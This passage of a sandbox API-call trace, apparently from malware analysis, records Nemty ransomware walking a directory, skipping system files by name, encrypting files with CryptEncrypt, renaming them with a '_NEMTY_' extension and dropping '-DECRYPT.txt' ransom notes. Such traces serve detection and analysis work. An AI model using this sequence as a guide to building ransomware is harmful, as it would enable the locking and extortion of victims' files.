(in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.832] CloseHandle (hObject=0x2e8) returned 1 [0174.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.832] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\search.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\search.dan._nemty_kgobjgd_")) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.833] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.DAN", cAlternateFileName="")) returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2=".") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="..") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="...") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="windows") returned -1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="rsa") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="NTDETECT.COM") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="ntldr") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="MSDOS.SYS") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="IO.SYS") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="boot.ini") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="boot.ini") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="ntuser.dat") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="desktop.ini") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="CONFIG.SYS") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="RECYCLER") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="bootmgr") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="programdata") returned 1 [0174.833] lstrcmpiW (lpString1="SendMail.DAN", lpString2="appdata") returned 1 [0174.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.834] Sleep (dwMilliseconds=0x5) [0174.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bdc77b0, dwHighDateTime=0x1d561e8)) [0174.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bdc77b0, dwHighDateTime=0x1d561e8)) [0174.843] GetLastError () returned 0x0 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.843] GetLastError () returned 0x0 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.843] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.843] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6tHTNmgoiPQYNi7u/tXDrmY/yLqjT3uNSAhyyICbxnGzpLbJXP8OhGYoYT+bclwy\r\nuVQx4naCeSg/HqTojUTcnhJXeQDuXxBxAQZqaL032P7b2F0g5lkrNiSjxg0iQPa+\r\ngYosBuGneC5dyfl0B+l4xRWxGyBs4ZlLBR+n/7KN/THzLd8l5D70UHha17QYjbxr\r\n2BkMEsZ/XJ0jxC+4+yIEE3jEiEY8yCc39xGCgIR7cP/pSec6uHumTMCIEXiTyydl\r\nhmzcb5K9UR3rG8HIcIdUmu1rn859sXS5fMB9YS5Hhz42WANQwjNigfZxbret0/BH\r\ncI8nPU4EB6TkQwbGF+z0Ug==\r\n", pcchString=0x653e5dc) returned 1 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.843] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\sendmail.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.844] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15872) returned 1 [0174.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e00) returned 0x6352c48 [0174.844] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.844] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3e00, lpOverlapped=0x0) returned 1 [0174.846] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e00, lpOverlapped=0x0) returned 1 [0174.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.846] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e00 [0174.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.846] CloseHandle (hObject=0x2e8) returned 1 [0174.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.847] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\sendmail.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\sendmail.dan._nemty_kgobjgd_")) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.847] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0174.848] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0174.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0174.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0174.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0174.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.851] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.851] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0174.852] CloseHandle (hObject=0x2e8) returned 1 [0174.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0174.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.853] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.853] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0174.854] CloseHandle (hObject=0x2e8) returned 1 [0174.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.854] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, 